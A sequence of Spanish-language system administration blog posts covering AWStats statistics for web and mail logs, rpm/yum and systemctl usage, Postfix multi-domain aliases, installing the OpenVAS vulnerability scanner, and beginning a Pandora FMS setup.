Vamos a seguir sacándole partido a la configuración de AWStats que empezamos el otro día. Una de las opciones que tenemos disponible y que lo pone también por delante de los gestores de estadísticas que no leen directamente los ficheros de log del servidor es la posibilidad de generar informes de nuestros servidores de FTP y de correo. Hace tiempo que no uso servidores de FTP en mis servidores (prefiero la transferencia por SFTP que sólo requiere tener instalado el servicio de SSH) pero la posibilidad de tener datos estadísticos de mi servidor de correos si que me resulta interesante. Este sería el aspecto de las estadísticas recogidas:

La instalación, si seguiste el paso a paso del otro día, es inmediata. Si no lo hiciste ve echándole un vistazo al mismo tiempo que lees esto porque no vamos a repetir lo que ya está allí.

La configuración del virtual host de Apache es ideńtica, así que nada que añadir a ese punto. Para crear el fichero de configuración de awstats procederemos igual (usando como base el modelo del fichero /usr/local/awstats/wwwroot/cgi-bin/awstats.model.conf) pero en este caso las directivas a tocar serán las siguientes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

LogFile="perl /usr/local/awstats/tools/maillogconvert.pl standard < /var/log/mail.log |"
LogType=M
LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd"
SiteDomain="mail.morales-vazquez.com"
HostAliases="mail.morales-vazquez.es"
DNSLookup=1
DirData="/var/lib/awstats"
DirCgi="/awstats"
DirIcons="/awstatsicons"
AllowFullYearView=3
LevelForBrowsersDetection=0
LevelForOSDetection=0
LevelForRefererAnalyze=0
LevelForRobotsDetection=0
LevelForWormsDetection=0
LevelForSearchEnginesDetection=0
LevelForFileTypesDetection=0
ShowMenu=1
ShowSummary=HB
ShowMonthStats=HB
ShowDaysOfMonthStats=HB
ShowDaysOfWeekStats=HB
ShowHoursStats=HB
ShowDomainsStats=0
ShowHostsStats=HBL
ShowAuthenticatedUsers=0
ShowRobotsStats=0
ShowEMailSenders=HBML
ShowEMailReceivers=HBML
ShowSessionsStats=0
ShowPagesStats=0
ShowFileTypesStats=0
ShowFileSizesStats=0
ShowBrowsersStats=0
ShowOSStats=0
ShowOriginStats=0
ShowKeyphrasesStats=0
ShowKeywordsStats=0
ShowMiscStats=0
ShowHTTPErrorsStats=0
ShowSMTPErrorsStats=1

Las tres primeras líneas son las más importantes. En la primera preprocesamos el fichero de log de nuestro servidor de correo (/var/log/mail.log) mediante el programa maillogconvert.pl. En la segunda línea indicamos que se trata de un log de correo y en la tercera especificamos el formato del mismo. Las líneas entre la 4 y la 10 son las mismas que ya vimos el otro día y a partir de la 11 desactivamos algunas directrices que no tienen sentido más que en servidores web y activamos otras propias de la información que queremos recoger en un servidor de correo.

La programación a intervalos de la lectura de logs mediante cron es también idéntica a la vista en el anterior artículo, pero en este caso crearemos un fichero sh independiente del que ya teníamos para luego usarlo también en la rotación de logs del servidor de correo. En mi caso lo he llamado /etc/awstats/cron-awstats-mail.sh y contiene las siguientes líneas:

1
2
3

#!/bin/sh
perl /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mail -update
perl /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mail -databasebreak=day -update

Añadimos otra línea como esta en nuestro fichero de crontab:

1

*/15 * * * * root /etc/awstats/cron-awstats-mail.sh > /dev/null

Tenemos aún que apañar el tema de la rotación de logs. Los logs del servidor de correo se “limpian” semanalmente y la configuración de este proceso la encontramos en el fichero /etc/logrotate.d/rsyslog. Editamos este fichero y, casi al final del mismo y antes de la directiva postrotate, incluimos las siguientes dos líneas:

1
2

prerotate
      /etc/awstats/cron-awstats-mail.sh > /dev/null

Y esto es todo. La extensión Day by Day de la que hablábamos el otro día funciona perfectamente también con las estadísticas del servidor de correo y para añadirlas el procedimiento es el mimo que ya habíamos visto. Suerte con ello.

Desde hace unos meses he dejado de lado a Piwik, el maravilloso sistema de estadísticas que he venido usando durante los tres últimos años. Piwik ha evolucionado muchísimo desde que empecé a usarlo: ya no usa gráficos flash, mantiene muy controlado el tamaño de su base de datos, es más rápido y tiene nuevos plugins que lo convierten en un perfecto competidor libre de google analytic y lo están haciendo escalar puestos poco a poco en el competitivo ranking de los sistemas de estadísticas. Pero… tiene un enorme problema: el consumo de memoria resulta del todo inasumible para una máquina con RAM escasa que es el gran cuello de botella de un servidor web con Apache, así que cuando me pasé a un servidor VPS en Linode, con la limitación de RAM que eso supone, fue lo primero que tuve que sacrificar. Algún día me pararé a probar lighttpd o a ver si realmente el módulo MPM worker mejora tanto como cuentan la gestión de memoria, pero por el momento los alrededor de 128 Megas que consumen los scripts de Piwik me resultan del todo inasumibles.

AWStats tiene un aspecto realmente “viejuno” de web sacada de Geocities, pero hace bien lo que tiene que hacer, apenas consume RAM y obtiene sus resultados leyendo directamente de los logs de Apache con lo que no pierde ni una sóla visita. Cualquier otro método (usando javascript en cliente, PHP en el servidor, etc.) es susceptible de perder información en determinadas circunstancias.

El hecho de que no ofrezca datos en tiempo real se puede mitigar haciendo que los logs se procesen en intervalos más pequeños o, incluso, añadiendo un enlace para que estos se procesen bajo demanda. El filtro de estadísticas diario que por defecto no es posible también puede conseguirse mediante la extensión Day by Day que también veremos en esta entrada.

Los únicos requisitos previos son tener instalados perl (necesario para ejecutar los scripts de awstats) y nuestro servidor web que, en este ejemplo, será Apache. La instalación en una debian es tan fácil como siempre (apt-get install awstats) pero la versión en el repositorio estable es la 6.9.5 que tiene más de dos años. Si quieres trabajar con la última versión (la 7.0 o la beta 7.1 en estos momentos) lo más fácil es bajarte el paquete desde aquí y descomprimirlo en tu servidor en el directorio /usr/local. Todo lo que vamos a ver a continuación supone que estamos instalando por este segundo método.

A continuación creamos un virtual host en nuestro Apache para realizar el acceso a las estadísticas o incluimos las siguientes líneas (sacadas del modelo que tendremos en el fichero /usr/local/awstats/tools/httpd_conf) en, por ejemplo, la instancia por defecto del mismo:

1
2
3
4
5
6
7
8
9
10
11
12

Alias /awstatsclasses "/usr/local/awstats/wwwroot/classes/"
Alias /awstatscss "/usr/local/awstats/wwwroot/css/"
Alias /awstatsicons "/usr/local/awstats/wwwroot/icon/"
Alias /awstatsjs "/usr/local/awstats/wwwroot/js/"
ScriptAlias /awstats/ "/usr/local/awstats/wwwroot/cgi-bin/"
 
<Directory "/usr/local/awstats/wwwroot">
     Options None
     AllowOverride None
     Order allow,deny
     Allow from all
</Directory>

Una vez editado debemos de pedir a apache que vuelva a leer la configuración para que tengan efecto estas líneas (service apache2 reload).

Vamos ahora a crear un fichero de configuración para awstats. Partimos del modelo que habrá en /usr/local/awstats/wwwroot/cgi-bin/awstats.model.conf. Lo copiamos en el directorio /etc/awstats (que debemos de haber creado antes) con un nombre distintivo (por ejemplo awstats.miweb001.conf) y lo editamos para adecuarlo a nuestra instalación. Mucha antención a la partícula miweb001 que debería de identificar a la web cuyas estadísticas queremos ver y que tendremos que usar en otras instrucciones más adelante. Las líneas que deberías de modificar sobre la configuración por defecto (y que no aparecen consecutivamente como aquí ¿eh?) son estas:

1
2
3
4
5
6
7
8
9

LogFile="/var/log/apache2/apache2-myweb001-access.log"
SiteDomain="www.miweb001.es"
HostAliases="www.miweb0001.com www.miweb001.net"
DNSLookup=1
DirData="/var/lib/awstats"
DirCgi="/awstats"
DirIcons="/awstatsicons"
AllowToUpdateStatsFromBrowser=1
AllowFullYearView=3

Las tres primeras definen, respectivamente, el emplazamiento del fichero de logs de la instancia de apache, el nombre de la web y los posibles alias a través de los cuales podamos acceder a la misma (separados estos por espacios). La cuarta línea habilita la resolución completa por DNS de las IP’s de acceso. En la quinta línea decimos donde queremos que deje los ficheros resultantes de procesar los ficheros de log (¡no olvides crearlo!). En la sexta y la séptima se define donde están los diferentes componentes de awstats según los hemos definido anteriormente en el fichero de configuración de la instancia de apache. Las dos últimas líneas hacen que nos aparezca un enlace que permita refrescar los datos en cualquier momento y habilitan la posibilidad de realizar informes estadísticos de todo un año.

Existen muchos otros parámetros interesantes o útiles para activar plugins, funcionalidades extras, personalización, etc, pero yo te recomiendo que lo eches a funcionar sólo con esto que es lo mínimo y luego ya te metas en experimentar otras cosas. Sobre todo si no tienes mucha experiencia en estas lides.

Vamos ahora a programar el cron de nuestra máquina para que procese los logs de apache, por ejemplo, cada 15 minutos. Creamos un fichero llamado /etc/awstats/cron-awstats.sh, le damos permisos de ejecución y copiamos lo siguiente en él:

1
2
3

#!/bin/sh
perl /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=miweb001 -update
perl /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=miweb001 -databasebreak=day -update

Fijate bien en que la partícula que aparece a continuación de config en ambas líneas (miweb001) debe de ser exactamente la misma que aparece en el nombre del fichero de configuración que hemos creado anteriormente (awstats.miweb001.conf). Bien, ahora editamos el fichero /etc/crontab y añadimos al final del mismo lo siguiente:

1

*/15 * * * * root /etc/awstats/cron-awstats.sh > /dev/null

Y listo. Nos quedan unos pequeños retoques pero ahora ya cada 15 minutos se analizarán los logs del servidor de apache y podremos consultar la información, ya procesada, en la siguiente URL. Atención, de nuevo, a la partícula miweb001:

http://ip-del-servidor/awstats/awstats.pl?config=miweb001

Si, como es habitual, nuestro sistema rota los ficheros de log tenemos que evitar perder el procesado de los últimos minutos antes de una rotación. Para ello editamos el fichero /etc/logrotate.d/apache2 y bajo la línea donde pone prerotate volvemos a ejecutar el procedimiento que llama a los scripts de awstats:

1
2

prerotate
     /etc/awstats/cron-awstats.sh > /dev/null

Lo último que nos resta por hacer es habilitar la posibilidad de mostrar informes diarios. Para ello usaremos la extensión Day by Day. Para instalarla y configurarla tenemos que descargarnos la última versión, descomprimirla y copiar los dos archivos javascript (day-by-day-head.js y day-by-day-end.js) en el directorio /usr/local/awstats/wwwroot/js/. A continuación editamos el fichero de configuración de awstats (recuerda que en nuestro ejemplo se llama awstats.miweb001.conf y está en el directorio /etc/awstats) y reemplazamos los valores de los dos parámetros HTMLHeadSection y HTMLEndSection (casi al final del fichero) por las siguientes líneas:

1
2

HTMLHeadSection="<script language=javascript src="/awstatsjs/day-by-day-head.js"></script>"
HTMLEndSection="<script language=javascript src="/awstatsjs/day-by-day-end.js"></script>"

Una vez hecho esto, la pantalla principal de nuestro awstats aparecerá con un cintillo en la parte superior donde podemos escoger un día concreto y, al hacerlo, en la gráfica principal aparecerá un corte de detalle por horas. El resto de los datos también serán referidos al día escogido. Para volver a la vista mensual pulsamos el enlace “Back to monthly report” del cintillo superior.

Si tenemos otras instancias web separadas en nuestro servidor y también queremos obtener sus estadísticas sólo tenemos que repetir, por cada una de ellas, dos de los pasos anteriores:

• Crear un fichero de configuración separado en el directorio /etc/awstats con los datos pertinentes. No olvides incluir las líneas finales que hemos visto para la extensión Day by Day.
• Añadir un par de líneas adicionales correspondientes a la nueva instancia en el fichero /etc/awstats/cron-awstats.sh

La URL para consultar las estadísticas de estas nuevas instancias será también diferente, claro. Y recuerda que la partícula distintiva que usamos en el nombre del fichero de configuración será la que nos permitirá construirla.

ACTUALIZACIÓN: Hace unos meses apareció Apache2Piwik un script que importa los logs de Apache a la base de datos de Piwik. Habrá que echarle un vistazo y si el consumo de memoria es bajo lo mismo volvemos a hablar de ello por aquí…

Lejos han quedado ya los tiempos en que se usaba la expresión “infierno de las dependencias” o que había que ir por ahí buscando herramientas de terceros o recurrir a rebuscados trucos para gestionar instalaciones y actualizaciones en una distribución Linux con paquetes rpm. Hoy en día la combinación rpm/yum de Fedora, Red Hat, CentOS y otras derivadas tiene poco (o nada) que envidiarle a la pareja dpkg/apt-get de Debian & co. En esta entradilla vamos a dar un pequeño repaso a las opciones más comunes y a alguna de las más útiles.

Para empezar, los comandos usados más frecuentemente son estos:

En un gran porcentaje de casos esto es todo lo que debemos conocer de ambos y lo que tendremos que usar de forma habitual. Pero existen muchas otras opciones útiles y/o interesantes:

Cuando queremos instalar un equipo con exactamente los mismos paquetes que otro dado, tenemos la posibilidad de crear una lista de paquetes instalados con el siguiente comando:

1

rpm -qa lista_paquetes.txt

Para luego instalarlos en la segunda máquina de esta forma que nos cuentan en Unixcraft:

1

sudo yum -y install $(cat paquetes.txt)

Para otras posibilidades, tienes buenas referencias aquí para yum y aquí y aquí para rpm (pero con cuidado, que he visto algunos ejemplos que usan opciones que ya no están disponibles, como --repackage) o, por supuesto, en las páginas del manual de cada una de ellas.

Además, yum cuenta con un amplio repertorio de plugins que le permiten mejorar u optimizar su trabajo. Puedes ver la lista de la que dispones en tus repositorios con alguno de los comandos que acabas de aprender (yum list yum-plugin* o yum search yum-plugin funcionarían). Aparte de los que vienen cargados con Fedora por defecto, estos son los que considero imprescindibles:

• yum-plugin-fastestmirror elige el repositorio óptimo de entre una lista de mirrors.
• yum-plugin-remove-with-leaves elimina también los paquetes de dependencias huérfanos cuando se borra un paquete
• yum-plugin-downloadonly añade la posibilidad de poder descargar un paquete de los repositorios sin realizar su instalación

Y nos falta aún por ver la forma de indicarle al sistema donde están los repositorios de software, o sea, el equivalente al archivo /etc/apt/sources.list de los Debian. Esto se hace en archivos con extensión .repo que deben de crearse en el directorio /etc/yum.repos.d. Lo normal es crear un archivo por cada repositorio o familia de estos. Aquí tenemos también diferentes opciones de personalización. Veamos un ejemplo:

1
2
3
4
5
6
7
8

[kde-testing]
name=kde-testing
# baseurl=http://ftp.heanet.ie/pub/kde-redhat/fedora/$releasever/$basearch/testing
mirrorlist=http://apt.kde-redhat.org/apt/kde-redhat/fedora/mirrors-testing
enabled=1
gpgkey=http://apt.kde-redhat.org/apt/kde-redhat/kde-redhat.RPM-GPG-KEY
gpgcheck=1
skip_if_unavailable=1

En las páginas del manual de yum.conf (el archivo de configuración de esta herramienta) tienes explicadas estas opciones y otras muchas bajo el epígrafe de repository options.

Y para el que prefiera una utilidad gráfica y, como a mi, no le entusiasme KPackagekit (apper desde fedora 16), puede echarle un vistazo a yumex (mi favorito) o a smart.

A partir de la anterior Fedora 15 se introdujo systemd como system y session manager. El cambio fue tan “transparente” que yo ni me enteré de ello. Sin embargo desde el momento en que instalé la beta de Fedora 16, hace ya algo más de un mes, empecé a notar que pasaban cosas raras en mi equipo… Había servicios que no me aparecían activos en el arranque y que no respondían igual a los comandos y herramientas que vimos en una chuletilla anterior.

Los nuevos servicios de Fedora ya no se encuentran en /etc/init.d (aunque alguno queda aún ahí imagino que por compatibilidad) sino que están en el directorio /lib/systemd/system y para interactuar con ellos en línea de comando ya no usamos el comando service, sino systemctl.

systemctl es un comando mucho más rico en opciones y posibilidades que su predeceror, pero como guía de inicio y emergencia, te conviene ir anotando las siguientes.

Para iniciar un servicio, por ejemplo sendmail:

1

$ sudo systemctl start sendmail.service

Los servicios ahora parecen tener todos ese formato terminado en “.service”. Aparte de start tenemos las opciones clásicas: stop, restart, reload y status. La opción status da mucha más información de lo que teníamos anteriormente:

1
2
3
4
5
6
7
8

$ sudo systemctl status vboxdrv.service
 
          vboxdrv.service - LSB: VirtualBox Linux kernel module
          Loaded: loaded (/etc/rc.d/init.d/vboxdrv)
          Active: active (exited) since Mon, 07 Nov 2011 18:45:22 +0100; 3s ago
         Process: 5550 ExecStop=/etc/rc.d/init.d/vboxdrv stop (code=exited, status=0/SUCCESS)
         Process: 5572 ExecStart=/etc/rc.d/init.d/vboxdrv start (code=exited, status=0/SUCCESS)
          CGroup: name=systemd:/system/vboxdrv.service

Por último, para habilitar el inicio automático de un servicio en el arranque o para deshabilitarlo, respectivamente, tenemos las opciones enable y disable:

1
2
3
4
5

$ sudo systemctl enable cups.service
 
ln -s '/lib/systemd/system/cups.service' '/etc/systemd/system/printer.target.wants/cups.service'
ln -s '/lib/systemd/system/cups.socket' '/etc/systemd/system/sockets.target.wants/cups.socket'
ln -s '/lib/systemd/system/cups.path' '/etc/systemd/system/multi-user.target.wants/cups.path'

1
2
3
4
5

$ sudo systemctl disable cups.service
 
rm '/etc/systemd/system/sockets.target.wants/cups.socket'
rm '/etc/systemd/system/printer.target.wants/cups.service'
rm '/etc/systemd/system/multi-user.target.wants/cups.path'

Quién quiera saber algo más de las novedades y mejoras que aporta systemd, puede empezar por esta serie de cuatro artículos que Diego Calleja ha escrito durante el último año:

1. systemd, otro reemplazo de init
2. Novedades en systemd
3. Novedades en systemd, II
4. Novedades en systemd, III

Y quien quiera experimentar con más opciones de systemctl, ya sabe: man systemctl

¿Se acuerdan ustedes de la entrada que hicimos por aquí hace algo más de un añito sobre como montar un servidor de correo electrónico en Debian? Bien, pues lo hemos hecho crecer un poco y ahora necesitamos que atienda a los correos de más de un dominio. ¿Que tenemos que añadir a lo allí visto? Poquito más. En el fichero /etc/postfix/main.cf tenemos que incluir las siguientes dos líneas:

1
2

virtual_alias_maps = hash:/etc/postfix/virtual
virtual_alias_domains = dominio1.net, dominio2.es, dominio3.es

Con la primera línea indicamos el fichero donde crearemos las equivalencias entre buzones y direcciones de correo y que ahora veremos como se hace. Con la segunda enumeramos los dominios que gestionará nuestro servidor y que, lógicamente, deben de tener sus correspondientes registros MX apuntando hacía la dirección de nuestro servidor de correo. Y no olvides hacer un reload de la configuración después de hacer los cambios:

1

service postfix reload

En el fichero que hemos indicacado en la línea 1 anterior (/etc/postfix/virtual) hacemos una relación de las diferentes direcciones de correo que queremos que nuestro servidor atienda y si queremos redireccionarlas a otra cuenta (es decir, crear un alias) o guardar lo recibido en el buzón correspondiente de un usuario. Así por ejemplo:

1
2
3
4
5

webmaster@dominio1.net  josemaria
webmaster@dominio2.es josemaria
webmaster@domino3.es josemaria
josemaria@dominio2.es josemaria@gmail.com
morales@dominio1.net morales, morales@gmail.com

A la izquierda aparece siempre la dirección de correo que nuestro servidor postfix atenderá y a su derecha el destino del correo que recoja en la misma. En el ejemplo anterior, con las tres primeras líneas le indicamos que todo lo que se recoja a través de las tres cuentas que allí aparecen debe de guardarse en el buzón de correo del usuario josemaria. Con la cuarta línea estamos creando un alias: todo el correo que se reciba en la cuenta josemaria@dominio2.es se remitirá directamente a la cuenta indicada de gmail sin almacenarse en el servidor. La quinta línea recepciona lo recibido en la cuenta morales@dominio1.net, lo reenvía a la cuenta morales@gmail.com y, además, lo guarda en el buzón del usuario morales.

Después de cada cambio en este fichero debemos de ejecutar lo siguiente:

1

postmap /etc/postfix/virtual

El resultado será un fichero llamado virtual.db en ese mismo directorio y que será realmente el que postfix usa para gestionar alias y buzones.

Por cierto, un recurso interesante para probar si nuestro servidor de correo acepta algún tipo de relay que pueda ser aprovechado por los spammers es este. Y si quieres analizar tu servidor de correo échale un vistazo a este otro.

Hace poco contamos por aquí como instalar la última versión de OpenVAS en Fédora. Si prefieres trabajar con Ubuntu o una distribución derivada puedes seguir lo que se cuenta en ese mismo post salvo en algunos pequeños detalles:

• La instalación manual se hace descargando los paquetes desde esta dirección si usamos arquitectura i386 o desde este otra si nuestro sistema está compilado para 64 bits.
• Si queremos integrar el repositorio en nuestro sistema debemos de añadir la siguiente línea en nuestro fichero de fuentes de software (/etc/apt/sources.list):

  1	deb http://download.opensuse.org/repositories/security:/OpenVAS:/STABLE:/v4/xUbuntu_11.04/ ./

• Para añadir la firma de autenticación de los paquetes ejecutamos lo siguiente:

  1	sudo apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys BED1E87979EAFD54</code>

• Ahora ya podemos instalar. Primero actualizamos la base de datos de paquetes (sudo apt-get update) y luego, si queremos una instalación que integre cliente y servidor en la misma máquina, ejecutamos lo siguiente:

  1	sudo apt-get install libopenvas4 libmicrohttpd10 openvas-scanner openvas-manager openvas-administrator greenbone-security-assistant gsd openvas-cli sqlite3

  Si sólo queremos la parte de servidor:

  1	sudo apt-get install libopenvas4 libmicrohttpd10 openvas-scanner openvas-manager openvas-administrator greenbone-security-assistant sqlite3

  Y para instalar sólo el cliente:

  1	sudo apt-get install libopenvas4 gsd openvas-cli

• Y ya casi. El último punto que nos falta a tener en cuenta es que los ficheros de configuración se encuentran aquí en el directorio /etc/default, así que será aquí donde tendremos que hacer las modificaciones necesarias para habilitar la conexión del cliente desde otra máquina si queremos una instalación distribuida.

OpenVAS es un scanner de vulnerabilidades de red de código abierto creado a partir de un fork de la versión 2 de Nessus que se convirtió en código propietario en su versión 3, allá por el año 2005. Si queremos instalar la última versión de OpenVAS, la 4, disponible en fase beta desde diciembre de 2010, tenemos que hacerlo manualmente. Existen indicaciones de como hacerlo para diferentes distribuciones en esta dirección pero, a mi parecer, son difíciles de seguir para quién no está bien familiarizado con la arquitectura que usa esta herramienta, he detectado algunos errores y no explican, por ejemplo, algo tan básico como la forma de realizar una instalación distribuida cliente-servidor que es uno de los puntos fuertes de la herramienta. Así que vamos allá.

ACTUALIZACIÓN: Desde el día 17 de marzo la versión 4 es ya definitiva (ya es casualidad que lo tuviera escrito desde una semana antes y que no mirara la lista de correo hasta días después ¿eh?). El procedimiento de instalación aquí descrito sigue siendo válido y si lo has seguido usando los repositorios se te habrán actualizado los últimos cambios de forma automática.

Para disponer de los paquetes necesarios podemos hacer dos cosas, descargarlos manualmente (de esta dirección si usas arquitectura de 64 bits o de esta otra si usas arquitectura i386) e instalarlos con rpm (o yum con la opción --localinstall) o, mucho más recomendable, añadir un nuevo repositorio a tu máquina para recibir las futuras actualizaciones. En este segundo caso debes de crear un nuevo archivo .repo (por ejemplo openvas.repo) en tu directorio /etc/yum.repos.d y copiar en él lo siguiente (o bajártelo diréctamente desde aquí):

1
2
3
4
5
6
7

[security_OpenVAS_STABLE_v4]
name=security:OpenVAS:STABLE:v4 (Fedora_14)
type=rpm-md
baseurl=http://download.opensuse.org/repositories/security:/OpenVAS:/STABLE:/v4/Fedora_14/
gpgcheck=1
gpgkey=http://download.opensuse.org/repositories/security:/OpenVAS:/STABLE:/v4/Fedora_14/repodata/repomd.xml.key
enabled=1

Lo siguiente que tenemos que hacer es decidir que instalar. Cómo decíamos antes, OpenVas tiene una estructura cliente servidor de forma que la parte del programa que realiza el escaneo propiamente dicho puede instalarse en una máquina diferente a aquella desde la que se lanza y monitoriza el análisis o, incluso, distribuirlo entre varias para aliviar la carga. Tenemos, así, la posibilidad de instalar servidores en diferentes puntos estratégicos de nuestra red y usar siempre el cliente desde nuestro ordenador de trabajo. Existe una detallada descripción de la arquitectura que se usa en esta dirección pero si no te interesa meterte en tantos detalles, échale al menos un vistazo a esta imagen para comprender lo que sigue:

El servidor de OpenVAS está formado por tres módulos (scanner, manager y administrator) y disponemos de tres posibles clientes para explotarlos: uno en línea de comando (openvas CLI), otro con una aplicación clásica de escritorio que usa las librerías qt4 (greenbone security desktop o gsd) y una tercera posibilidad que es acceder directamente a través de un navegador usando, para ello, el módulo denominado greenbone security assistant.

Y vamos a instalar. Si queremos hacer una instalación completa (cliente y servidor) en la misma máquina y estamos usando el repositorio que hemos puesto anteriormente, tenemos que instalar (recordad, como usuario root) los siguientes paquetes:

1

sudo yum install sqlite nmap libopenvas4 libmicrohttpd10  openvas-scanner openvas-manager openvas-administrator  greenbone-security-assistant gsd openvas-cli

Si lo que queremos es hacer una instalación sólo con la parte de servidor y, además, tener la posibilidad de conectarnos usando un navegador como cliente, instalaríamos lo siguiente:

1

sudo yum install sqlite nmap libopenvas4 libmicrohttpd10  openvas-scanner openvas-manager openvas-administrator  greenbone-security-assistant

Si queremos instalar sólo el cliente en línea de comandos:

1

sudo yum install libopenvas4 openvas-cli

Y, por último, si sólo quisieramos instalar la aplicación cliente de escritorio:

1

sudo yum install libopenvas4 gsd

Instalación completada. Ahora hay que poner esto en marcha. Si hemos realizado una instalación distribuida (servidor en una máquina y cliente en otra) lo primero que tenemos que hacer es unos cambios en la configuración del servidor ya que este, por defecto, arranca los servicios usado el parámetro --listen=127.0.0.1 de forma que no admite conexiones que no vengan de la propia máquina. Para corregir esto procedemos de la siguiente forma:

Si lo que queremos es poder conectarnos al servidor a través de un navegador web desde otra máquina, debemos de editar el fichero /etc/sysconfig/greenbone-security-assistant y localizar las siguientes líneas:

1
2
3
4
5

GSA_ADDRESS=127.0.0.1
...
ADMINISTRATOR_ADDRESS=127.0.0.1
...
MANAGER_ADDRESS=127.0.0.1

En el fichero original no aparecen todas así una debajo de otra ¿eh? Bien, pues lo único que tenemos que hacer es sustituir el 127.0.0.1 por la ip real de la máquina que actúa como servidor.

Si lo que queremos es usar el cliente de escritorio gsd desde otra máquina, el fichero que debemos de editar es /etc/sysconfig/openvas-manager. Localizamos ahora la siguiente línea y hacemos la misma operación que hemos descrito antes:

1

MANAGER_ADDRESS=127.0.0.1

¿Continuamos? Lo siguiente (aún en el servidor) sería añadir un primer usuario con privilegio de administrador (cualquiera de los clientes nos pedirá autenticación antes de darnos acceso). El siguiente comando nos creará un usuario llamado josemaria y nos pedirá de forma interactiva la contraseña para este:

1

sudo openvasad -c add_user -n josemaria -r Admin

A continuación generamos los certificados que también usaremos en la autenticación:

1

sudo openvas-mkcert -q<br/>sudo openvas-mkcert-client -n om -i

Y ya casi estamos. Para quién no lo conozca, un programa como este que analiza vulnerabilidades se parece en algunos aspectos a un antivirus: alguien tiene que actualizar de forma permanente que nuevas vulnerabilidades existen y de que forma reconocerlas. Al igual que actualizamos las “firmas” de nuestro antivirus necesitamos actualizar estos patrones de reconocimiento que en OpenVAS reciben el nombre de NVT’s Es por lo tanto necesaria una sincronización periódica. El siguiente script podría servirnos para ello. Además de la sincronización realiza la activación de servicios en el orden correcto de forma que deberíamos de usarlo antes de la primera conexión y después de cada reinicio de la máquina con el servidor:

1
2
3
4
5
6
7
8
9
10
11
12

sudo openvas-nvt-sync
sudo service openvas-manager stop
sudo service openvas-scanner stop
sudo openvassd
sudo openvasmd --migrate
sudo openvasmd --rebuild
sudo service openvas-administrator stop
sudo service openvas-manager stop
sudo service openvas-scanner restart
sudo service openvas-manager start
sudo service openvas-administrator start
sudo /etc/init.d/greenbone-security-assistant restart

Y con esto está todo. Si queremos asegurarnos o posteriormente cuando lancemos un cliente tenemos algún problema, existe un pequeño script que podemos descargar desde aquí y que, ejecutado con privilegios de root, nos permite verificar si nuestra instalación está correcta o, por el contrario, nos alertaría acerca de que es lo que nos falta. Si lo ejecutamos con el parámetro --server obviaría en esta comprobación todo lo referente a la instalación del cliente.

Ahora ya podemos empezar a auditar la red. El cliente de escritorio no crea entrada en ningún menú, así que lo tenemos que ejecutar a mano (pulsando Alt+F2 o directamente desde un terminal) con el comando gsd. En las siguientes ilustraciones se ve la pantalla de conexión y la principal del programa

Si preferimos usar el cliente web (mucho más ligero, la verdad) “apuntamos” con nuestro navegador al puerto 9392 de la máquina donde hemos instalado el servidor usando protocolo seguro https (por ejemplo https://192.168.1.217:9392 o https://localhost:9392 en caso de que lo tengamos todo en la misma máquina). A continuación tienes también los pantallazos de la ventana de login y la principal del cliente:

ACTUALIZACIÓN: En systenadmin nos cuentan como instalarlo en una Cent.OS además de algunas notas útiles sobre el escalado de eventos y la sobreescritura de alertas para evitar falsos positivos recurrentes.

ACTUALIZACIÓN (y II): y si prefieres instalarlo en Ubuntu échale un vistazo a estas notas adicionales.

Pandora FMS (Flexible Monitoring System) es una herramienta de monitorización de software libre (desarrollada por Ártica, una empresa española) que hace ya tiempo que tenía ganas de probar, así que aprovechando las vacaciones y el reciente lanzamiento de su versión 3.1 me he puesto manos a la obra. Al estilo de lo que dejamos por aquí hace ya unos años cuando hablamos de Nagios, tocaremos en esta primera entrada la instalación y primeros pasos y en posteriores posts veremos algunas de las principales tareas de configuración y gestión. Agarraos.

Vaya por delante que yo nunca he pensado que instalar y/o configurar Nagios sea algo complicado. Pero es que instalar Pandora FMS y crear un primer mapa de los elementos de tu red (que es lo que veremos hoy aquí) es tan fácil como comerse un bizcocho. No existen extrañas dependencias, no hay nada que compilar, ni arcanos ficheros que editar. La instalación de Pandora FMS es más fácil aún que la de wordpress, drupal o la de cualquier otro CMS vulgarote. Una verdadera gozada. Ya no hay excusa válida para no monitorzar el estado de tu red y de sus elementos de forma centralizada.

Pandora FMS está formado por tres componentes: servidor, consola y agente. A grandes rasgos, los servidores son las máquinas desde las que se lanzan los diferentes tests, la consola la que contiene la instancia de Apache a la que nos conectamos para administrar, configurar y monitorizar el conjunto y los agentes serían las máquinas a monitorizar. Una instalación típica de Pandora FMS tendrá una consola, uno o más servidores y tantos agentes (en máquinas windows o GNU/Linux) como deseemos. Para este ejemplo partiremos de una instalación limpia de Debian Lenny 5.0.5 eligiendo sólo los paquetes standard mínimos. Sobre esta máquina instalaremos el servidor, la consola y un primer agente.

Lo primero que debemos hacer es instalar las dependencias previas. Se trata, en su práctica totalidad, de paquetes estándar y disponibles en los repositorios stable de Debian. En la wiki del proyecto (con muy buena documentación, por cierto) hay un apartado dedicado a esto pero a mi me han faltado algunos. La lista que yo he necesitado es la siguiente:

# apt-get install snmp snmpd sudo xprobe2 nmap traceroute mysql-server mysql-client dbconfig-common apache2 php5 libapache2-mod-php5 php5-gd php5-mysql php-pear php5-snmp php-db php-gettext php-db php5-xmlrpc php5-ldap libtime-format-perl libxml-simple-perl libnetaddr-ip-perl libdbi-perl libhtml-parser-perl libmail-sendmail-perl libio-socket-multicast-perl libhtml-tree-perl graphviz

En segundo lugar, nos descargamos e instalamos las herramientas y dependencias que Debian no ofrece como paquetes estándar de las páginas del proyecto en Sourceforge.

Tercero: nos bajamos, también de Sourceforge, los paquetes de los tres componentes de Pandora FMS (consola, servidor y agente) y los instalamos igualmente. El paquete del agente que está disponible ahora mismo da un error de instalación que se soluciona siguiendo las indicaciones de este foro.

Se acabó la línea de comandos. Puesto que en la máquina en la que estamos haciendo la instalación no hemos instalado siquiera las X, nos vamos a nuestra máquina de escritorio, abrimos un navegador y cargamos la siguiente URL para iniciar la configuración:

http://<ip o nombre de la maquina>/pandora_console/install.php

